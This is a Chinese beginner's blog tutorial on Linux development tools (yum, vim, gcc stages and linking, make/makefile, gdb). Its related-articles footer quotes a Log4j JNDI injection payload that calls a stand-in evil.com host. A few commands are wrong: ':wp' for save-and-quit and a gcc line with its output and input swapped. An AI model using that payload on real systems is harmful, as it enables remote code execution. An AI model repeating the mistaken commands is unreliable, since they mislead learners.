Linux——开发工具的使用

news2024/11/26 5:25:26

目录

Linux软件包管理器 yum

rzsz

Linux编辑器——vim

        vim的使用

        vim的基本操作

        命令模式的常见命令

        底行模式的常见命令

         vim是需要配置的

Linux编译器——gcc/g++

        预处理

        编译

        汇编

        链接

函数库

Linux项目自动化构建工具 make/makefile

make原理

项目清理

Linux调试器gdb


Linux软件包管理器 yum

简单的把它理解为“应用商店”就可以,我们可以来安装第一个软件。

rzsz

        这个工具用于windows机器和远端的linux机器通过xshell传输文件,可以通过拖拽的方式将文件传上去。

通过yum list命令可以看到所有的软件包。

yum list | grep lrzsz

使用下面这个指令就可以下载它了。

sudo yum install lrzsz -y 

想要卸载的话,使用这个就可以了。

sudo yum remove lrzsz

Linux编辑器——vim

       我们在网上随便一找就可以找到这张键盘图,这就是大部分的vim的使用方法,但也没有必要全记住,用哪个记哪个就可以了。

       vim它是一个编辑器,换言之它只能写代码,和我们平常用的编译器还是有差别的,我用的vs编译器它是一个集成的开发环境,它既可以编写代码、调试代码,也可以运行程序等,但是vim它只能写代码,就像记事本一样。

       那它只能写代码,我们为什么还要用它呢?在linux下的编辑器还是很多的,但是对于初学的时候,vim还是能在众多编辑器中脱颖而出的,它是许多系统默认装机数最高的,虽然学习成本有一点高,但是不要灰心,并没有那么难学,在linux下我们还是要编写代码的,所以vim是比较优的选择。

        vim的使用

首先要进入vim

#vim //会出现一些版本信息等
#vim [文件名] //如果这个文件没有就创建并进入vim

想要退出vim,首先按下键盘的Esc,输入(:q)(这是一个整体)就可以退出。

这个只是测试vim能不能使用。

        vim的基本操作

vim是一款多模式的编辑器,它有命令模式、编辑(插入)模式和底行模式。

       首先输入vim [文件名]命令进入vim,这是一个全屏幕编辑画面,进入vim默认的就是命令模式,我们需要进入到插入模式才可以编写代码。

开始进入默认的命令模式的左下角就是这样的,或者什么都没有。

[命令模式]切换至[插入模式]
输入a
输入i
输入o
输入过后左下角就会变成这样,这就进入到了插入模式。

[插入模式]切换至[命令模式]
直接按下键盘左上角的Esc
输入后屏幕左下角就变成了空白。
 
那我们想要退出vim,就可以进入到底行模式
[命令模式]切换至[底行模式]
输入:也就是冒号
再输入命令

:w   (保存当前文件)

:q    (退出)

:wp (保存并退出)

:!     (加上 ! 就代表强制,出现问题的时候可以加上!)

 

 由图可知,插入模式和底行模式不能切换。

        命令模式的常见命令

yy:将当前光标所在行进行复制,nyy可以复制多行

p  :将复制的内容进行粘贴,np可以粘贴多次

dd:将当前光标所在的行,进行剪切(删除),也可以使用ndd

u  :撤销

ctrl + r:撤销u的操作

shift + g(G):将光标定位到文件的结尾

gg:将光标定位到文件的最开始

n + shift + g:将光标定位到文件的第n行

shift + 6(^)  :将光标定位到当前行的最开始

shift + 4($)  :将光标定位到当前行的结尾

w、b:以单词为单位进行光标的向后、向前移动,也可以nw、nb使用

h、j、k、l:向左、向下、向上、向右移动光标

shift + ~:大小写的切换

shift + r :进入替换模式,可以替换光标指向的内容

r :替换光标所在的字符,同样可以使用nr

x or shift + x(X):删除光标所在的字符,之后or之前,也支持nx

        底行模式的常见命令

:set nu:显示行号

:set nonu:取消显示行号   

:vs (文件名):分屏操作

ctrl + ww:分屏下切换操作的文件

:! + 指令:在vim的底行模式下执行linux下的指令

         vim是需要配置的

       如果你现在正在使用原生的vim来写代码,那么第一个感觉应该就是很麻烦,那是因为vim是需要配置的,我们需要配置一个好用的环境来写代码。

       首先我们要在当前的用户目录下要有一个.vimrc的文件,我们需要在这个文件中添加vim的配置项,那有哪些配置项呢,那可以百度一下,想要什么样的效果就添加什么效果的配置项到文件.vimrc中;如果嫌麻烦,也可以找一些插件,这里我就不过多介绍了。


Linux编译器——gcc/g++

        前面的vim满足我们写代码的要求,gcc和g++就可以帮我们编译代码,gcc这个软件可以说是大部分操作系统自动默认安装的,g++可能没有,不要担心,就算是gcc没有我们也可以下载。

       在这之前,我们也可以先来讨论一下程序的翻译过程,编译器做的工作不就是把我们认识的语言转化成计算机认识的语言吗。下面我们就来介绍我们写的代码是怎么一步步的翻译成了计算机认识的语言也就是二进制的指令。

        预处理

在这一部分要处理的就是:

1.去注释 2.宏替换 3.头文件展开 4.条件编译

下面我们介绍一下简单的选项:

-E:让gcc在预处理结束后停止翻译过程

-o:让.c文件编译成指定名字的文件

因为在Linux下直接gcc -E .c文件,他会把内容直接打印出来,所以我们用gcc -E .c文件 -o 指定的文件。

//我的.c文件就是mytest.c,里面有简单的代码
# gcc -E mytest.c -o mytest.i//指定的文件就是指定文件名

       然后就可以看到目录下有一个mytest.i的文件,我们用vim打开,G选项直接到最底可以看到原来的代码变成了800多行的,这就是把头文件全展开了,进行了宏替换,注释都没有了,条件编译执行了,所以这就是预处理的操作。

       最后在说一下,我们写代码的时候,在头文件中的开头都会写上#pragma once,这句代码就是让我们的头文件不要重复编译,以免代码过长。

        编译

编译就是把C语言转换为汇编语言。

# gcc -S mytest.i -o mytest.s

选项-S:让gcc在编译结束后停止翻译过程,生成汇编语言

这里用.i或者.c都可以都是到编译就停止

        汇编

把汇编语言变成可重定位目标二进制文件

# gcc -c mytest.s -o mytest.o

这个.o文件和我们Windows下的obj文件是一样的

选项-c:让gcc在汇编结束后停止翻译过程,生成可重定位目标二进制文件

        链接

# gcc mytest.o -o mytest

执行这个命令就可以生成可执行程序

函数库

       在链接的过程还可以再说一点其他的,一般的链接过程有两种方式,动态链接静态链接

       动态链接需要动态库,静态链接需要静态库。这也是我们一直默默在用的,只是我们自己可能不知道。

  • 静态库是指编译链接时,把库文件的代码全部加入到可执行文件当中,因此生成的文件比较大,但在运行时也就不再需要库文件了,静态库一般以.a为后缀。
  • 动态库不是这样的,在编译链接时并没有把库文件的代码加入到可执行文件当中,而是在程序运行时由链接文件加载库,这样可以节省系统的开销,动态库一般以.so为后缀。

动态链接:
 优点:省空间(磁盘的空间,内存的空间),bin体积小,加载速度快。
 缺点:依赖动态库,程序可移植性较差。
静态链接:
 优点:不依赖第三方库,程序的可移植性较高。
 缺点:浪费空间。

gcc和g++生成的文件默认就是动态链接,使用file指令就可以查看。

使用ldd指令可以查看动态链接的可执行文件所依赖的库。

这个/lib64/libc.so.6就是c标准库,linux下的很多指令也是用c语言写的,使用ldd /user/bin/ls也可以看到这条依赖关系。

        可执行文件就是把函数和库中的实现链接起来,你写的C语言的printf函数,它到最后也是要和库中链接起来的。gcc和g++默认采用的是动态链接,但如果我们需要使用静态链接,带上-static选项即可。有的云服务器可能没有一些静态库,这时候就需要你自己去下载了。

由此可见,动态和静态链接的内存还是差别很大的。


Linux项目自动化构建工具 make/makefile

        简单来说,make是一个命令makefile是一个文件,以后的工程的源文件会有很多个,文件的编译顺序也是有要求的,而make和makefile写好就可以帮助我们自动化构建项目。

        想要编写makefile就要知道两点:依赖关系依赖方法。

依赖关系:文件1改变会影响文件2,这就是文件2依赖于文件1。

  • 比如,.o文件是由.c文件通过预处理、编译、汇编之后生成的文件,.c文件就会影响.o文件,所以.o文件依赖于.c文件。

依赖方法:文件2依赖于文件1,那么由文件1生成文件2的方法就是依赖方法。

  • .o文件依赖于.c文件,那么gcc -c -o test.c test.o这条命令就是.o依赖于.c的依赖方法。

        那么下面就来用一下make和makefile。

        在目录下随便写了一段代码,下面这张就是makefile文件,写完了之后就可以使用make来生成可执行程序。

make原理

  • make会在当前目录下找名字为“Makefile”或“makefile”的文件
  • 如果找到,它会找文件中的第一个目标文件,也就是上图中,会找到mytest这个文件,并把这个文件作为最终的目标文件。简单来说就是看看makefile中的第一个目标文件是否存在,也就是mytest是否存在。
  • 但是一开始这个文件是不存在的,或者mytest的所依赖的文件被修改了或者说根据文件的修改时间,那就会通过依赖方法生成这个文件,也就是gcc编译生成一个文件。

使用stat命令就可以查看文件的修改时间。

这也是Linux下文件的ACM。

  • 如果mytest所依赖的文件(test.c)不存在,那么make会在makefile文件中寻找目标为mytest依赖的文件(test.c)的依赖关系(例如test.c: ... ),如果找到则再根据其依赖方法生成test.c文件,但是上面实例中没有可以生成test.c的依赖关系。
  • 这就是整个make的依赖性,make会一层又一层地去找文件的依赖关系,直到最终编译出第一个目标文件
  • 在寻找的过程中,如果出现错误,比如最后被依赖的文件找不到,那么make就会直接退出,并报错。

Makefile文件的简写方式:

  • $@:表示依赖关系中的目标文件(冒号左边,例如mytest)。
  • $^:表示依赖关系中的依赖文件列表(冒号右边全部,上面的例子只有一个)。

下面就是简写的样式

项目清理

  • 项目是需要被清理的。
  • clean这个就是清理的依赖关系,通常命名成clean,它不需要依赖任何文件,使用的时候直接输入make clean命令就可以执行下面的依赖方法。
  • clean通常要设置为伪目标,使用.PHONY修饰后,无论输入多少次都会执行这句,如果不修饰,就会出现这样的情况。

修饰后就会一直执行


Linux调试器gdb

        程序的发布方式有两种,分别是debug和release。Linux下gcc和g++编译出来的二进制可执行程序默认是release的,想要变成debug模式就要加-g选项。

之后就可以进入gdb调试界面了。

        gdb会记录最近一条命令,如果还想使用这个命令,可以直接使用回车。接下来就开始介绍需要使用的命令。

r/run:开始调试,类似于vs下的f5,如果没有设置断点就直接结束
b(break)+行号:在这一行打断点
i(info)+b(breakpoint):查看当前所有断点
d(delete)+断点编号:删掉这一行的断点
n(next):逐过程,类似f10
s(step):逐语句,类似f11
p(print):打印表达式的值
bt(breaktrace):查看各级函数调用及参数,相当于查看调用堆栈
finish:执行到当前函数返回
display+变量名:跟踪查看一个变量,每次停下都显示它的值
undisplay+常显示编号:取消常显示
until+行号:跳转至该行
c(continue):从当前位置开始运行到下一个断点处
disable+断点编号:禁用断点
enable+断点编号:启用断点
q(quit):退出gdb

这些就是常用的命令,熟能生巧,多多练习才可以熟练的使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1456919.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【JPCS出版|EI稳定检索】2024年第四届人工智能与工业技术应用国际学术会议(AIITA 2024)

2024年第四届人工智能与工业技术应用国际学术会议(AIITA 2024) 2024 4th International Conference on Artificial Intelligence and Industrial Technology Applications 2024年4月12日-14日 | 中国广州 大会官网:www.aiita.net 二轮截稿…

基于Springboot的校园求职招聘系统(有报告)。Javaee项目,springboot项目。

演示视频: 基于Springboot的校园求职招聘系统(有报告)。Javaee项目,springboot项目。 项目介绍: 采用M(model)V(view)C(controller)三层体系结构…

学习Android的第十六天

目录 Android 自定义 Adapter Adapter 接口 SpinnerAdapter ListAdapter BaseAdapter 自定义 BaseAdapter 参考文档 Android ListView 列表控件 ListView 的属性和方法 表头表尾分割线的设置 列表从底部开始显示 android:stackFromBottom 设置点击颜色 cacheColorH…

数据安全治理【概述】

数据安全治理,顾名思义,可拆分为“数据安全”与“治理”数据安全可理解为目标,治理可理解为手段。具体定义:数据安全治理是指在组织数据安全战略的指导下,为确保组织数据处于有效保护和合法利用的状态,以及…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。…

Java学习小记——多线程Socket编程

目录 线程池线程池介绍线程池的参数 Java线程池ExecutorTester服务器socket编程普通socket编程线程池并行处理客户请求Java NIO异步处理客户请求 线程池 线程池介绍 在创建一个线程时存在一定的开销,创建线程的开销相比于一般的算法来说较大。首先需要建立一个调用…

如何在Windows 10中启用或关闭Windows功能?这里有详细步骤

Windows 10是一个拥有数百种功能的大型操作系统。与任何其他操作系统或软件一样,大多数PC用户从未使用Windows 10中提供的所有功能。例如,内置的XPS Viewer对大多数PC用户来说都是陌生的,尽管它自Windows7推出以来就一直存在。 高级PC用户通…

mybatis 基础入门使用

1、mybatis 简介 1.1、mybatis 特性 MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架; MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集; MyBatis可以使用简单的XML或注解用于配置和原始映射,将接口和…

百度云AI

百度云AI概述 Face腾讯优图科大讯飞 百度人脸识别基于深度学习的人脸识别方案,准确识别图片中的人脸信息,提供如下功能: 人脸检测:精准定位图中人脸,获得眼、口、鼻等72个关键点位置,分析性别、年龄、表…

CI/CD部署

什么是CI,什么是CD CI和CD是软件开发中持续集成和持续交付的缩写。 CI代表持续集成(Continuous Integration),是一种实践,旨在通过自动化构建、测试和代码静态分析等过程,频繁地将代码变更合并到共享存储…

ArcGIS API for JavaScript 4.X 本地部署(js,字体)

0 目录(4.19) /4.19/ 1 修改文件 1.1 init.js 编辑器打开/4.19/init.js搜索文本[HOSTNAME_AND_PATH_TO_JSAPI],然后将其连同前面的https://替换为http://ip地址/4.19,可以是localhost,只能本机引用 替换后&#xff…

【软考高级信息系统项目管理师--第二十章:高级项目管理】

🚀 作者 :“码上有前” 🚀 文章简介 :软考高级–信息系统项目管理师 🚀 欢迎小伙伴们 点赞👍、收藏⭐、留言💬 第二十章:高级项目管理 项目集管理项目组合管理组织级项目管理OPM&…

AI提示工程实战:从零开始利用提示工程学习应用大语言模型【文末送书-19】

文章目录 背景什么是提示工程?从零开始:准备工作设计提示调用大语言模型 实际应用示例文字创作助手代码生成持续优化与迭代数据隐私与安全性可解释性与透明度总结 AI提示工程实战:从零开始利用提示工程学习应用大语言模型【文末送书-19】⛳粉…

【软考问题】-- 10 - 知识精讲 - 项目风险管理

一、基本问题 1:按照可预测性,风险分哪三类? (1)已知风险:如项目目标不明确, 过分乐观的进度计划, 设计或施工变更和材料价格波动等。(2)可预测风险&#xff…

跟着pink老师前端入门教程(JavaScript)-day01

一、计算机编程基础 (一)编程语言 1、编程 编程:就是让计算机为解决某个问题而使用某种程序设计语言编写程序代码,并最终得到结果的过程。 计算机程序:就是计算机所执行的一系列的指令集合,而程序全部…

spfa的特殊用法

spfa通常用来求带有负权边的最短路问题,但是它还有两种特别的用法——求负环和求差分约束 求负环 我们回顾spfa算法,本质上是一个点的距离被更新以后再用它去更新其他的点。将被更新的点放入队列中,这样一直更新,直到没有任何点…

Stable Diffusion系列(六):原理剖析——从文字到图片的神奇魔法(潜空间篇)

文章目录 LDM概述原理模型架构自编码器模型扩散模型条件引导模型图像生成过程 实验结果指标定义IS(越大越好)FID(越小越好) 训练成本与采样质量分析不带条件的图片生成基于文本的图片生成基于语义框的图片生成基于语义图的图片生成…

金蝶云星空——用递归SQL查询物料分组

应用场景: 金蝶物料分组为树形结构,需要根据SQL查询同步到第三方系统中。 技术实现 用递归CTE按照树状结构展开物料分组 with cte as( select 0 as 物料分组层级,t1.FID,case when isnull(t1.FFULLPARENTID,) then .CAST(t1.FID AS VARCHAR(…

K8s进阶之路-核心概念/架构:

架构:Master/Node Master组件--主控节点{ 负责集群管理(接收用户事件转化成任务分散到node节点上)} Apiserver: 资源操作的唯一入口,提供认证、授权、API注册和发现等机制 Scheduler : 负责集群资源调度&am…

K8s进阶之路-安装部署K8s

参考:(部署过程参考的下面红色字体文档链接就可以,步骤很详细,重点部分在下面做了标注) 安装部署K8S集群文档: 使用kubeadm方式搭建K8S集群 GitBook 本机: master:10.0.0.13 maste…